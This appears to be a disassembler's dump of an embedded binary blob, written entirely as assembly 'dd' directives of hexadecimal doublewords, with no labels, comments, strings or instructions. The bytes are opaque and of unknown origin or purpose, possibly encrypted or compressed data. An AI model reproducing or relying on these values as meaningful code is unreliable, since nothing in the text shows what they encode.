dd 5B00773Ah, 0FB2D32D9h, 2488Bh, 0FFF664B7h, 0BE50AC9Dh
dd 7F787098h, 0E7906907h, 0C0305C03h, 804124h, 2A0B25E4h
dd 0E18C6ACAh, 99ACAF00h, 0AE590197h, 0CC3E005Fh, 66458E5Eh
dd 0F50372C5h, 4285633Ah, 9DA15075h, 6EF000B5h, 2E276DE1h
dd 0A038DAF2h, 0EBE4008Fh, 51433ED8h, 0CFAA0F1Ah, 36008B01h
dd 6DF06185h, 0B049D600h, 0ADBC6C7Eh, 2507CD4h, 0C0C5605Dh
dd 9040F12Ah, 0C10718FAh, 0F3FF0702h, 858023C4h, 2AD50Eh
dd 55EC6860h, 94F76BE2h, 91227000h, 9080092Dh, 975B0008h
dd 110C136Dh, 85007776h, 0B3D4D92Fh, 9B72Eh, 72C4CC71h
dd 7706CB99h, 0AC621028h, 2D013A00h, 1627D5E3h, 69EE0083h
dd 0A5D4E922h, 88008F6Dh, 0A3BD809h, 0EED8047h, 0BFD9FBFDh
dd 0EAE5E7h, 8FC072C8h, 0B72F6500h, 1E59366Bh, 9D300024h
dd 41A9AE73h, 1F1F9B3Ch, 0C0C1218Ch, 6D9303ADh, 58811C30h
dd 3B260688h, 1384856Ch, 0C7885EBFh, 0F0F795ADh, 0A4FF3AE8h
dd 470E3Bh, 256C8DBBh, 0E8ECC18Ch, 1777DAh, 0CEA22669h
dd 0D21A9002h, 9C5DF000h
dd 16970AE2h, 3C8BF8CDh, 0D1006DE3h, 9FD2E486h, 0E500D4F6h
dd 0CDE0D50Ch, 1DEC64DCh, 2AA58C3h, 877FB854h, 5702BF80h
dd 2A032B01h, 0A74CE012h, 3B9FA07Ch, 35B0031h, 2163A6C9h
dd 8B0077B9h, 0FEBC926Fh, 70258Ch, 0A5203248h, 0A4C78360h
dd 0E1632E00h, 12A03C5h, 0B68C2617h, 0CC12F5h, 3072DC51h
dd 0D700567Fh, 317368EAh, 12055A7h, 80B5A69Bh, 0F13308C0h
dd 504480A8h, 1B75E50Fh, 5307006Ch, 516BD0D3h, 5CEEF465h
dd 1E164303h, 0F02CCEE9h, 0E896CA52h, 0E3EF0031h, 12D29B61h
dd 3800DB0Ah, 0D84C1377h, 7D9CB8E0h, 0AD3C1DACh, 0F489C307h
dd 50BFEBCBh, 2EB69ED0h, 0FB522C00h, 1792CA55h, 610D00DEh
dd 2489681Eh, 63B83B10h, 43D4FD00h, 0F0EE63F5h, 0C4D50041h
dd 0CAEAF320h, 1600EDFFh, 0A91C1348h, 0E929E3h, 0C478C89h
dd 0E64C67DDh, 54D4617h, 3159700h, 19AC13Dh, 7D2E1E63h
dd 0D4EF7EAEh, 4B00B2F7h, 0A58C5A97h, 33A61Ah, 169E96DDh
dd 64D4514Ch, 6323B01h, 8173A179h, 2C54CBECh, 3E1FBA5Bh
dd 0A712E000h, 2AF9B3C2h, 447F6E00h, 50399FEDh, 483AFABBh
dd 2F00FFBFh, 2BB4AC4Dh, 7D983B51h, 0EF17E803h, 0A042C9DBh
dd 1C1CD1DAh, 9FE00B1Dh, 50C20EBDh, 0B9F17D00h, 0AE001B8Fh
dd 26608C8Ah, 16A057h, 7701803Ch, 0D925303Eh, 80E06E3Ah
dd 86946DA8h, 0A4A3DFh, 0A2F06A27h, 0ED5B2289h, 510FC878h
dd 200B9C32h, 90BC45E1h, 0BF2C0011h, 0DEE54B0Ch, 0D6007119h
dd 0AB3F315Fh, 1F6F30h, 33073E38h, 294FCE10h, 8000DCE0h
dd 69DE24Ch, 3412F15h, 0ABB3189Eh, 0AF9F3EA6h, 5E8BB4E1h
dd 0C7ADEC3Ah, 0C628361Dh, 0F8A5F387h, 6E385DD1h, 0A2932881h
dd 602EDD92h, 6002D6Dh, 60E21FC5h, 0F785EEh, 0DE362466h
dd 0C0E81C48h, 4E35A304h, 5480A6B6h, 194AD87h, 5C8453A4h
dd 20E88A51h, 50EA31CCh, 0C97CF3FCh, 2409AB90h, 3D1CFFBh
dd 0B1FDB398h, 96D5F014h, 24F31082h, 0A8486C7Dh, 791FC5EAh
dd 3ABAE7FFh, 3B520A22h, 0F006107Eh, 39988Ah, 0F9CFC2CEh
dd 0FFC92ACCh, 0DDAE6607h, 5FD9407Fh, 0F0D44400h, 2407AFB4h
dd 33A4A1ADh, 0AEAC83h, 0EA6AC711h, 0A97079A5h, 3EC8CF00h
dd 0BF344C42h, 0CED50E6h, 0CCB605A6h, 0ABB27FBh, 5850E644h
dd 9601B2EEh, 0B1F1C766h, 93EDDDDEh, 4DE87ED1h, 0A9B400F9h
dd 0E1981E5Ah, 0AE00D647h, 81D1DDB0h, 1FDC4F92h, 94596ACh
dd 580117F4h, 0E8EC559Bh, 0E7012AE4h, 4E631E71h, 503077D7h
dd 77F17BB7h, 0BDB60022h, 0AF47E05Eh, 0C93D288Fh, 80E40011h
dd 0FDA0B7C3h, 0EAE2287Bh, 73100E54h, 3540A237h, 38B14259h
dd 418170Ah, 1D85D4CEh, 8806902h, 1F8FAB41h, 40260336h
dd 0EC9BA5B9h, 1709508Eh, 0F27088h, 45272DC4h, 3C860F0Ch
dd 3020EC82h, 0EFB8E6DCh, 0DCB88E5Bh, 97E22800h, 198B8964h
dd 734A9918h, 5C9E7591h, 0FF01203Eh, 463A29C7h, 5CC0DCE3h
dd 1E5B238h, 5E42409h, 0D330F825h, 12CE075Fh, 0E0E6551Eh
dd 0E016C10Ah, 48313C00h, 0EE5233F5h, 9E28004Ch, 8570DECAh
dd 8492C49Fh, 0AC5F4A1Ch, 47A42464h, 58518800h, 6F506842h
dd 0C580D043h, 0E363D4Bh, 0AE8E5A05h, 0EF00E57Fh, 91585510h
dd 14D101A4h, 80B002DCh, 5E4DC8ABh, 1C0434EEh, 0BA6B603Ah
dd 0E33842C0h, 0B8FA73h, 0DA62D904h, 0BCD77581h, 0C3DBAF07h
dd 6B46C92Ch, 0ADB021h, 0DA501A80h, 2A4B7996h, 0DF2B8E07h
dd 34B7B5F8h, 5F5069C7h, 0FB9B3C5h, 0DF2B145h, 0F122E36Dh
dd 42DBDC2Ch, 12D9D51Ch, 0BAB1BB87h, 0BFF061CDh, 36B73995h
dd 2CD59F03h, 20017E22h, 3C460B56h, 288005EEh, 0A1160C18h
dd 31265537h, 361D5660h, 23213D18h, 0F3161EC4h, 0D00FF938h
dd 0A5404555h, 42D7EA29h, 2C5270C1h, 6080B772h, 85C7DC91h
dd 0F7031D75h, 2E5199E9h, 86993871h, 63034280h, 8DA77877h
dd 0CAB1C600h, 4C27651h, 0AC0A2A87h, 1F546A8h, 0B9438050h
dd 480CC92Ch, 688288h, 0D580880h, 0F389403Ah, 45D52201h
dd 64FC1A92h, 15EADCh, 59E5C613h, 3A019AFDh, 922B0E00h
dd 1EDA1B79h, 0FCA21CC2h, 0A500FF4Ah, 171A9EDFh, 7E01CA96h
dd 0D82776B5h, 0B2F8B7C1h, 0F5500B1h, 3F6241Ah, 6B75A3D6h
dd 3FFF6800h, 52BF9875h, 57E28Eh, 355F43Dh, 561944A0h
dd 0D58BF200h, 7ADD9195h, 61CC00D6h, 3A79973h, 0DF3ED448h
dd 0F5882C8Ch, 0B780811Dh, 3ACE9BC5h, 0AA250136h, 62754987h
dd 0FD2CD0F1h, 0A8882A01h, 282D673Dh, 798F70D4h, 53413129h
dd 0ECBE1920h, 38070626h, 0C38861DFh, 7945F220h, 9B60316h
dd 0C689E29Bh, 11355000h, 696C08FEh, 0A9213965h, 33770F80h
dd 9DFF049Ch, 0EBCC7A00h, 20866C81h, 0BB1003F2h, 93073C2Dh
dd 0A9CAFDA0h, 486B9000h, 0F365C15h, 4D423ACEh, 0CA907D30h
dd 0A1003A8Eh, 43ADBDDCh, 0F82336C1h, 283F64Ah, 672256Dh
dd 0AF00F746h, 33E1FEC5h, 1D10CAFAh, 198F0FD8h, 2A56B00h
dd 3AFE9F1h, 0CC21C0F0h, 1A600F2Eh, 0C21BF401h, 18E84457h
dd 98A8A2h, 0BA8AEFCAh, 63924EBh, 4AEDC400h, 0B8DAE6ADh
dd 495B0688h, 30C594E1h, 0A2E7540Fh, 23FA6EDDh, 0E0466590h
dd 0B2E1721h, 58AD4B50h, 4038EC83h, 0F48A62E0h, 0FC44FA18h
dd 14B9F48h, 0B74C1C2Ch, 0EBD7D056h, 8000FC7Fh, 53A27465h
dd 983EFF8Fh, 1EEA007Ch, 2F77D1C8h, 4A0307DCh, 61F92A7Bh
dd 96F0E036h, 0FAFC3EE8h, 648059B9h, 4B3AEE51h, 0E0E60E69h
dd 0CFA75B01h, 0F8299A45h, 307EAF40h, 84971EB5h, 1BB04B7h
dd 5A568022h, 36002A81h, 475B0306h, 33DD70h, 5FED8E43h
dd 93B4257Fh, 5A153B00h, 0BFAD19F0h, 0F6B80084h, 664AA296h
dd 0CF037730h, 4F494156h, 3BA00174h, 8E5EE0A5h, 96208087h
dd 0B5380734h, 0E87711h, 0E370AA04h, 0F5374D1Ah, 2CDDEE07h
dd 0A98E6055h, 0D980FDDCh, 0E4CC3291h, 728BEFFh, 5EA63CB4h
dd 2AB10DC0h, 0F40C009Bh, 0CF6AE29Eh, 7A1EA859h, 0BF40A118h
dd 61C5C772h, 775D006Bh, 56922E7Eh, 0CC00B4EAh, 0CB446202h
dd 8D3DC4h, 4F532C26h, 0C832B8ECh, 3685F21Fh, 428443C1h
dd 40EC5530h, 11D7828h, 1E3F6F74h, 80C86946h, 3EC35D58h
dd 6E4BB1h, 26868599h, 2DB24A23h, 0E00AD90Eh, 3D28F8B9h
dd 6CA700FDh, 0CA36FA22h, 51C0754Eh, 114564ACh, 33067407h
dd 9D304BD1h, 0CFC023C8h, 0CE864100h, 573AD88Ah, 3A0FEE67h
dd 74876E9Fh, 605185DDh, 117C9C71h, 163BE000h, 0BF210199h
dd 8ADE0013h, 9F1D74A1h, 5D00032Fh, 516677B0h, 3FD752CCh
dd 71B0F2E0h, 0B3551520h, 0CA5FA000h, 0F668CEEh, 6B340BDCh
dd 0AC03901Fh, 0D8D870EFh, 0E100AA54h, 0E0C0AD73h, 5C4562Ch
dd 7231DA07h, 5C80362h, 7AA3DD28h, 0F7F2100h, 0D53C63DAh
dd 3D8C0059h, 3B224F61h, 0E900B1BEh, 6840F773h, 0EA805AD7h
dd 4BEB0F69h, 0B843FF51h, 6FE1A535h, 0BE5ED230h, 1BA88F01h
dd 0CE0A456h, 0B1E900BBh, 74C2D98Dh, 0DE74C5CAh, 20512C33h
dd 8CE9E152h, 261EBF0h, 0B99179BFh, 2C200DC7h, 3006A3C8h
dd 76116AA7h, 5B004B59h, 0B0D2B2E6h, 0E8D46291h, 0D021C01Eh
dd 0E4D4B78h, 8D909909h, 0BDC50004h, 0E8E7CDFBh, 6094E934h
dd 3AAC2CCBh, 0FF00A643h, 0CDCC1D90h, 0E70AA215h, 28EE345Dh
dd 60A67B08h, 0E623013Ah, 83425AE8h, 0CF212433h, 8FE84BC8h
dd 2802E406h, 2A48A59Ch
dd 0CCF469h, 9574FDC9h, 0B6F64F72h, 0AFEADC00h, 7EB3B2E8h
dd 80211850h, 507D8E7h, 6AB81C05h, 0C8032A38h, 0F82E5586h
dd 0E2A7EDh, 9ABCFAC3h, 3D8A31B4h, 0DCCD6800h, 426E54D7h
dd 534B00E6h, 3F83F329h, 5200F098h, 57DCA61h, 3CFC4AA9h
dd 508555ABh, 0FEB30D1Eh, 9F98A8C1h, 1DB4F0ECh, 0CF1DCF3h
dd 3420155Fh, 0E15B6C00h, 0BAD9A82Ah, 9A52001Eh, 3399C5C4h
dd 420C1C58h, 50367D12h, 614C38D3h, 55709A8Eh, 295E8C60h
dd 58184FC3h, 0ABE2F498h, 2C6E00EAh, 726928E3h, 9200ED1Eh
dd 5D3E1A75h, 6AE59314h, 30B808F2h, 75B9C720h, 0B369AB00h
dd 4E9B1831h, 0F4F900F0h, 40A04F37h, 0A31E6281h, 3400B30Ch
dd 8DFD63B1h, 0F8D40E4Eh, 81CF1DC5h, 9FAFBEA0h, 0BA382ED7h
dd 182900E7h, 62549836h, 4B6A069Dh, 49AB1C56h, 0BE0DDC1Fh
dd 60841354h, 292F2D3Eh, 8DEA0728h, 2ED09336h, 20028C86h
dd 2E5AD300h, 512FDDCDh, 64410063h, 12CF5232h, 88A0736Eh
dd 0A00AFB8Fh, 984FB084h, 0D3DB9301h, 0BFC0C696h, 0F7EC1D90h
dd 0F85418BCh, 3100F20Dh, 0CAA2EBE6h, 0BAE7470h, 82058D9Eh
dd 0E8EE885Dh, 60648B88h, 9F96E931h, 6930A546h, 5BA33221h
dd 4765BC00h, 312B0B54h, 9C4C0AADh, 77C0DA9h, 1051EDF8h
dd 0CC7E1C5Bh, 86216800h, 5774EC85h, 0D77D0299h, 0D6288261h
dd 459A67C0h, 1C963Eh, 4EF980ABh, 0E40B6520h, 511600D3h
dd 15135EC2h, 3F00EA99h, 7EFE2264h, 0E063FF43h, 0C4F087h
dd 150B7D6Ah, 0B32BD32Fh, 0A4CF1800h, 229A5F3Dh, 0EDA71C3Ch
dd 6988C323h, 0CE98DFC0h, 0F800A5A4h, 3C242284h, 389E23DAh
dd 758F1CEAh, 801FBED1h, 0D48CBA97h, 730EB165h, 8EB6DEA6h
dd 4630383Fh, 8FBB01DFh, 0FDF59834h, 0EF56C89Ch, 0B60005E8h
dd 0E6144A96h, 1A62A97h, 37FF2562h, 0DC452280h, 8075F53h
dd 8919EBA3h, 723EF13h, 3D7D3A88h, 5D80201Ah, 0B6249515h
dd 0A930A859h, 3EBA27h, 6AF6FBD5h, 1E942F5h, 30C61E2h
dd 49E4D279h, 0C9810113h, 785AED18h, 1900D393h, 62411910h
dd 0C0264CFFh, 8337E298h, 8C03D95Dh, 596FAAB3h, 97AFB870h
dd 0C8D00031h, 12A60192h, 41007149h, 0F3B980EFh, 0AA132Dh
dd 81735A42h, 0A86562B3h, 0D49CF025h, 9A206Bh, 0D8A13006h
dd 0F53C147h, 0AB749800h, 5E827886h, 7E9100FDh, 2F262C7Ch
dd 180035F0h, 330E6DB3h, 0F60399h, 1E5E3245h, 793FA504h
dd 2E64050Fh, 88C0BD2Fh, 25513CBCh, 13930021h, 9F29EFA6h
dd 8A3D1BABh, 114B804Ah, 0F2A14998h, 0B3EC0028h, 22B9F13h
dd 951EAD41h, 0A60D197Ch, 5630609Ah, 8C48009Dh, 91B8B044h
dd 2300B9C1h, 3F06FF7Eh, 120FC0h, 4EA92738h, 9B7C746Eh
dd 0B9DE1D12h, 84AD10h, 70685688h, 2642E9h, 12DD8334h
dd 5A484A80h, 0BD041B0Ch, 1E12A9h, 0D06A1D55h, 60B22E31h
dd 0E3972900h, 0E6F0055Ah, 700AB803h, 6C0C180Fh, 35D4A007h
dd 0E94BAF00h, 0CA1725B8h, 0D05C0060h, 0DC6C030Bh, 0A9711B20h
dd 0B9332700h, 0A574D528h, 7AC71CD8h, 0D8435A48h, 0A4E0FA60h
dd 0F7218C0h, 0F8B41509h, 1E0A7822h, 0B0061335h, 73927070h
dd 94913C28h, 1674AB7Ch, 6718AC00h, 0DBB8BF6Bh, 0C8630077h
dd 0A73F05B2h, 293C1BD8h, 45838076h, 0BC38260Bh, 0E70D4C03h
dd 0EBD81C00h, 12BE7FC6h, 75953900h, 133D8EF1h, 60430086h
dd 0D7EBF615h, 7601A055h, 0A3FA87E5h, 88C84DCh, 37201372h
dd 90A0630Eh, 890BC019h, 11C2F06h, 0F4A7AA6Ch, 803B56AFh
dd 3915776Ah, 4532A07h, 0E3BB9D79h, 20D180E1h, 0D249414h
dd 88006BB0h, 32220C1Eh, 0AEF87Bh, 0E5548B56h, 3CF59777h
dd 0E1B9F718h, 0E2B550h, 21B00A13h, 5326B47Eh, 988908CCh
dd 0EF840377h, 602F3D13h, 0D214BC0Fh, 496E56Bh, 0A42C3880h
dd 604E7374h, 46F6A113h, 680012E7h, 4FE05885h, 31CB25Fh
dd 1B32660Ch, 182C8E8Dh, 0A831B72Fh, 98837F12h, 0D0FBA12Ah
dd 0B5B43800h, 0C30DCABDh, 0EF47002Ch, 0A072FFB3h, 550044B0h
dd 0FE5D1ADDh, 0BB1009h, 6A49EA2Eh, 0DA88E674h, 0CC0E58h
dd 0BDFFA850h, 58AC8236h, 7300D5F0h, 85F28199h, 407C59D2h
dd 0A6D1C600h, 21CD1006h, 0A1E00066h, 0C403EB15h, 34009D12h
dd 0F93984F7h, 177564h, 77B337FBh, 24C7A08h, 518B5F00h
dd 0EDBBE5D6h, 0FF790148h, 0DB45A0EBh, 4DBCFCD9h, 6510DF00h
dd 0D69376A7h, 9E1207FDh, 0E17C2D60h, 0E0146653h, 0A10CDFFEh
dd 20C992B1h, 83AA1D45h, 2197068Bh, 6D1E7813h, 1E3F4D9Bh
dd 803CE6F4h, 3DA9F5C3h, 38643283h, 0D900F844h, 34CD4AA8h
dd 86F2CCD3h, 6119D700h, 0CE3604B4h, 55412C9Ch, 243F03BBh
dd 0EDA0D593h, 79ECF964h, 8023863Ah, 89CEEA70h, 0F5B17D0h
dd 91BEFA74h, 1A28DE6Ch, 2A000AE0h, 0AAF3D19Bh, 0ABC55Fh
dd 7AA22345h, 0DD2FE3Ch, 5C0C59ECh, 0D438CDB5h, 0CE17026Ch
dd 0ED6A56D1h, 9E0CC0FFh, 3F5008Ah, 3E014758h, 9C0081E5h
dd 17ADDCBFh, 0D07A5Eh, 0F8C61A32h, 7BDEA9A7h, 0D0C03D31h
dd 0CFE81DF9h, 94090039h, 1FEF4CB1h, 0BD0F5592h, 78EB1003h
dd 0CE0C28h, 0C739E9D9h, 0DE3CEA01h, 68B0B47Ch, 9C0063FAh
dd 0DBE599C2h, 0D00540h, 0C55CAC84h, 0E46D3E15h, 0C108660h
dd 5775B45h, 86846D8h, 19980063h, 0CD9FA6A0h, 33106060h
dd 85D54Eh, 46FD1226h, 0BB3CCA66h, 38F11100h, 804C2AE3h
dd 5333161Fh, 0D4990051h, 0CD1B150Eh, 0B820200h, 0C23FE8EAh
dd 3E970003h, 2C011A5Dh, 4AE09CBCh, 0A5A258h, 0B5AA8EB3h
dd 358E550h, 32D78C28h, 7BB0345Bh, 45004EF3h, 859D25CEh
dd 76E8B22h, 15357D92h, 0EFDAC042h, 1701641Eh, 81D46A1Ch
dd 1F04EFBh, 0D0FCA5h, 2303F771h, 38A7D240h, 0E7EA6200h
dd 4551E125h, 891005Eh, 152F106Ah, 1B002E55h, 825B6B0Eh
dd 90016C5Ah, 0D5FC0Eh, 2CF0ADB3h, 17B17A50h, 24443Dh
dd 4AD326ECh, 685F90D9h, 178431A2h, 271E0F82h, 53238EC0h
dd 0B5011C11h, 449AD0E8h, 0FCF8C414h, 0ADF81F4Bh, 4172C00Bh
dd 0F22CCFF4h, 40CEAA1Dh, 19DC40Fh, 0E3A6868Ch, 51ADA9F3h
dd 96778840h, 0E78CA16Dh, 18038770h, 10303DABh, 380FB7AFh
dd 0EF07CDEBh, 0F18E0A1h, 125024Bh, 0F0FFF477h, 0F862962Bh
dd 5100E626h, 8B8C732Fh, 0E4F5FC30h, 412A0005h, 0B7DBEBB3h
dd 4A00066Eh, 9727B9FBh, 66CA88h, 0C11EA81Ch, 537A090Bh
dd 393A3E00h, 0B3C323B0h, 0AFC700CDh, 5CA7066Dh, 0C4076C54h
dd 0D135A3Ah, 0B85E5650h, 0B16601B6h, 20B957FEh, 0B5EDC481h
dd 0A7B30712h, 5FC9F201h, 98204A9Dh, 2E8901A3h, 82C7FE46h
dd 1590806Fh, 68F1EBD1h, 0EA97373h, 0C54F29EAh, 76831E00h
dd 6D1C36D9h, 89C0E521h, 121D02F1h, 4D0E1C0Fh, 165D093Fh
dd 0E86B2D80h, 0DF5C7D7Bh, 9A000B1h, 870A53BBh, 2CC800D3h
dd 0BC66FC14h, 15756BB0h, 7563B500h, 9D5D0A35h, 61273065h
dd 82C6BAA8h, 1A1E4F17h, 0C8F62F0h, 6CA16569h, 0DE0012B0h
dd 0A405C66Fh, 1E877FC3h, 0C0B785FEh, 1CA75E95h, 0E00CBFBh
dd 0E66290F4h, 4255FDh, 0ED0B4E8Eh, 0DD379998h, 1B315A00h
dd 872A73A2h, 21A8007Bh, 69938ADBh, 0D0000D8Ch, 0C06ECDDAh
dd 76A5CC08h, 1407A04h, 0BF153D05h, 87BAE45Bh, 0F4180C18h
dd 12CE814Fh, 0B02F4608h, 0CC24DF13h, 403065E9h, 0DB81F6h
dd 0EBDAD6BBh, 39A92D8Ch
dd 7BDFF300h, 4CC2FA2Bh, 94740F20h, 0B767E740h, 7CA19F0Ch
dd 0F4FF969Eh, 240CA309h, 202D2730h, 0AF420E4Dh, 8A608372h
dd 0A6312A71h, 0FDD37312h, 0DF988600h, 81DBA5h, 0BCA0989h
dd 77C145FBh, 1982BE00h, 4F0CCE32h, 0A5CD0321h, 0B4359196h
dd 55ACC900h, 575F880Dh, 3FF706C6h, 0F0A4BED0h, 0D28D1A12h
dd 0BDCF5B01h, 4080DE60h, 43073E71h, 0F560AE44h, 7C5A3978h
dd 74D571D3h, 18FF0095h, 0A8456151h, 0C30E17A5h, 1F7A38A0h
dd 0B621ADC0h, 0A9058A4h, 40014DC1h, 0BA538024h, 2F20D5C0h
dd 0D0227A1Ch, 0D97D4D87h, 70EC8FAh, 2E87C033h, 10213B8h
dd 3EF9C046h, 0C464A5C9h, 0CF03BFB4h, 84DB301Bh, 82C2A5C4h
dd 2ACC810Bh, 10EC4770h, 1F1EED8h, 394EDAD1h, 0E4D95AE8h
dd 42140212h, 28F859h, 0CFA3B450h, 84D8D23Bh, 7081920h
dd 26B36076h, 4E1F00E0h, 7300E866h, 8F141847h, 72CCB85h
dd 0EBE4A5D7h, 0F08747B6h, 534EFE1Ah, 385760Dh, 0C4177806h
dd 0F824E640h, 0DD217279h, 0F2880C38h, 9824F921h, 0A8B14422h
dd 7C504325h, 41CB46Bh, 222E8368h, 0A95C4C81h, 0B31100C7h
dd 0EDC3EAB4h, 8E06DD8Dh, 2BFCD0CEh, 17720068h, 2071F15Dh
dd 8CA053D9h, 0E0009A40h, 0A1F6869Dh, 1DC7EF88h, 802C6FE7h
dd 0BF2F1B38h, 0A9FC9083h, 206D4B00h, 660F4D50h, 0BC7F02E2h
dd 0E734D3D9h, 0DF07E460h, 8A598100h, 7A3AD4A9h, 8F7C5C84h
dd 5D244E00h, 9B93C780h, 9A30A1Eh, 0DDE03D40h, 861D95h
dd 67773326h, 4B64EA7Ch, 3ACBC1Fh, 817F60C7h, 0DA0F50E1h
dd 0D7C431F9h, 29FA00FDh, 89B72B15h, 7102C5E2h, 42258462h
dd 3EF6E0EAh, 88010752h, 370CD2AAh, 6AF210F8h, 0ED00EF34h
dd 2B1631B0h, 1730533h, 5010A39Bh, 0F0B93766h, 4104EA63h
dd 3835D28h, 77192480h, 0FB9B009Ch, 0E22C4A17h, 0EC002BDAh
dd 712EC321h, 43C7FFh, 9733A48h, 6273229h, 0EADA5Ch, 72211D9Fh
dd 97F1FFh, 7DE1B81Ch, 79BC7E33h, 2D6A021Dh, 99D613C0h
dd 0B0D85681h, 0CE8800E6h, 8ACCFE92h, 2F0BB5C5h, 5C21FBh
dd 0C4FA364h, 239438C9h, 9E76E2Ch, 9E802D2Eh, 690D1C3Fh
dd 18BDCB1Fh, 1184AD00h, 1E51C868h, 80072BAFh, 86FDA037h
dd 3100C639h, 53EE2499h, 7F490Eh, 93384C1Fh, 0D5E6780Bh
dd 0A1949100h, 3C4FC0FCh, 57400028h, 0BDB97597h, 0C700061Bh
dd 515C6B5Bh, 0AE7A5Ah, 879F66C3h, 71D9CE7h, 0D5177D1Dh
dd 0BFF86300h, 0DCC5A9h, 7F954294h, 0E5AD4EF6h, 43EDC200h
dd 86A1BC01h, 53B600C8h, 77EE4467h, 0AC034C34h, 1B8AFF91h
dd 9925A835h, 78B500A3h, 0E2F4EAF5h, 7501AFE4h, 0FBC8CFF3h
dd 0AE8C76Ch, 45F49DFh, 0A4197300h, 75509BB9h, 12CD9000h
dd 4880D0D3h, 0EFB1146Ah, 7700CC92h, 1E9686ABh, 8501560Bh
dd 0D3C733BEh, 0F303D68h, 0D4D50092h, 0A15A984Ch, 463D87E3h
dd 88F1E2Ch, 6C869540h, 0E240E18h, 0B422A7B2h, 2B1CBA0h
dd 0D0007812h, 8E5E9C4Ah, 0E26E59h, 92BFFB96h, 525F574Eh
dd 3090073Dh, 0EC213C8Ah, 0DF0B006Ch, 34507B35h, 0CD00C10Eh
dd 0B4966A76h, 9CC899h, 6D947F40h, 37907DD0h, 0E184F800h
dd 86D9882Ah, 0D68E1C46h, 610640BAh, 0E43E513h, 802A4B3Ah
dd 2D193ABBh, 0A0AEF554h, 1AD1AE8h, 8FA347B5h, 81919C72h
dd 0A2E84B50h, 90409464h, 39FA6762h, 0C12487B1h, 2029067Ch
dd 20C19052h, 46226F0Eh, 7FD7C0FAh, 0D8E8007Eh, 0A2FF9D2Ch
dd 53093B54h, 0C17491h, 5E76DC8Ch, 43FE2Bh, 0FCCF8F40h
dd 4BBA7FB3h, 0EB8A2C00h, 0F3AD353Bh, 0C61724DAh, 0C29E0F1Ch
dd 7480068Eh, 0DE7EBE59h, 2F0F8513h, 3F53A000h, 12D9B0C6h
dd 4146B547h, 9486F72Ch, 82809369h, 0BCE2F000h, 50DDF1h
dd 0A7FDE861h, 817278EFh, 186F3C0Ah, 4009C63h, 42E8C1A8h
dd 9CFB07C2h, 916C780Fh, 20A9A3A5h, 5800B62Eh, 0B0469D09h
dd 0C5BA1Dh, 1F27E50Eh, 0E7DEDAF9h, 4AEC3501h, 68B6295Dh
dd 3FFA37DCh, 22802369h, 4D5E3A9Ah, 3FA2486h, 392A6707h
dd 5030F621h, 79DAAC91h, 0D09D0059h, 0AF7C9904h, 80000818h
dd 48876C77h, 32B11Dh, 0BF1DEADh, 78E24902h, 0ECB8B48h
dd 0BFC13130h, 0D4986D00h, 1EAD1328h, 4082047Dh, 0BD9695BEh
dd 0ACA1EB81h, 0E59320F2h, 0D3BAAC03h, 0E1E0FFD1h, 0BDD46861h
dd 0B6D90017h, 6DEEC0F3h, 8D008053h, 684DF58Ah, 3963A84Fh
dd 0CC04AA20h, 0C03D97BEh, 9C3E4E01h, 0B8EBC705h, 0EB18D847h
dd 1F925AFEh, 0B0D14Ah, 0C3268B69h, 0DC24FBD4h, 0AD0082BAh
dd 95231B59h, 0CFE55C79h, 63769300h, 0DF94EBC1h, 7120FE00h
dd 0A12ECCC0h, 0A0E62Bh, 207ACDAh, 5B707B54h, 4CB34500h
dd 31ABC3A8h, 3378004Fh, 612EFD44h, 9500E321h, 0BCD557BEh
dd 5F764DDh, 0C707B585h, 5836C08Fh, 320778E7h, 92F3ACE2h
dd 655051D0h, 0FBF200B1h, 5433041Ch, 91482BB5h, 0E06D009Ch
dd 0ABA74746h, 40A68492h, 0AACCF507h, 0C9915463h, 44206AA0h
dd 0E9643A06h, 0EC8604F2h, 805902BCh, 20FB55C4h, 8D991807h
dd 2C40C785h, 12B071h, 1BFF4817h, 2851C0EAh, 31C39100h
dd 1E7FC546h, 0A8BA1C7Ch, 0E07C025h, 5F6BDA47h, 10836E00h
dd 67DD46A5h, 0FDF80999h, 0F420BB48h, 818A923Ah, 0A556C600h
dd 5E0A7F66h, 8D433BF1h, 0B980303Ah, 13FAA88Bh, 77009F3Fh
dd 0E7BD7925h, 7D93D494h, 64C900D0h, 0AECE08F8h, 0A7363F7h
dd 1AF0D600h, 47A80751h, 839000AAh, 5B7673D3h, 54002039h
dd 813C36FFh, 3BC38Dh, 0C874F60Ah, 0F2757F67h, 27DF38h
dd 0BB379750h, 5C3D4B07h, 5900BBD1h, 0FBC0B018h, 86005CAFh
dd 251CA69Eh, 536D961h, 3728E304h, 0EDB493AAh, 203209E1h
dd 0C809DF86h, 83CA79A7h, 0F06804E4h, 267B22C6h, 5F9E7h
dd 4914DD7Ah, 0C97CB6C3h, 3709B376h, 808F8D32h, 0D9814B08h
dd 0C25A06F6h, 88BCC09Ch, 577F1900h, 0C72F5C80h, 1B0F0223h
dd 0E6ADC60Ah, 0E3BBE480h, 0EC1D3498h, 0D34056F8h, 5FB31F92h
dd 0CBFF00C3h, 0E462479Ah, 887B7E8Ah, 6C6DA100h, 2CA717ACh
dd 7C9500C0h, 1A67CDE5h, 8C006034h, 8F630C3h, 1027FADh
dd 424BFFB0h, 20901EECh, 80FE5A48h, 81093E72h, 80BC66C0h
dd 0BF748BC8h, 0B89250CCh, 50DF0003h, 0F5202788h, 663F8C9Ah
dd 0FAD28023h, 0E2F6F9A4h, 0D4CF4C86h, 127B3C7Ch, 229397h
dd 0CBE7C7F3h, 0D5075EDCh, 55FC145Dh, 0DAF284D0h, 0D433FFF9h
dd 0BCE90674h, 58D39963h, 0CBA93F24h, 8090D600h, 706F723h
dd 0A1BA8D1Ah, 5432B058h, 0CA0A05AEh, 0B0B5D3F0h, 0D9164500h
dd 907CB1DDh, 1D3400C4h, 46827E92h, 8000B088h, 17F9B3CFh
dd 0FDFA73h, 0C3B4A5CDh, 0CCF4E347h, 6BE1AF00h, 0E82C9F3Bh
dd 4D9900D9h, 0F2E6507Ch, 0C7786FB2h, 0B1F0A0Eh, 705C6076h
dd 118BBAAh, 0D6490C79h, 649824EAh, 6E0A96B0h, 8CF3ED2Ah
dd 1A47FF00h, 1C981984h, 4232D85Eh, 0DE030642h, 0AD0CD880h
dd 601688A3h, 0B832DF8Dh, 0E3D4A21Ch, 0B88CC48h, 0C6DC449Ch
dd 138CAC00h, 5F020B10h, 58A530EAh, 0B9D09845h, 18830614h
dd 30DEFD3Fh, 0AB475515h, 3A5C1DD0h, 46457040h, 98695890h
dd 6F17002Ch, 0B0E78C7Ah, 561260E1h, 1400BC0Bh, 25549826h
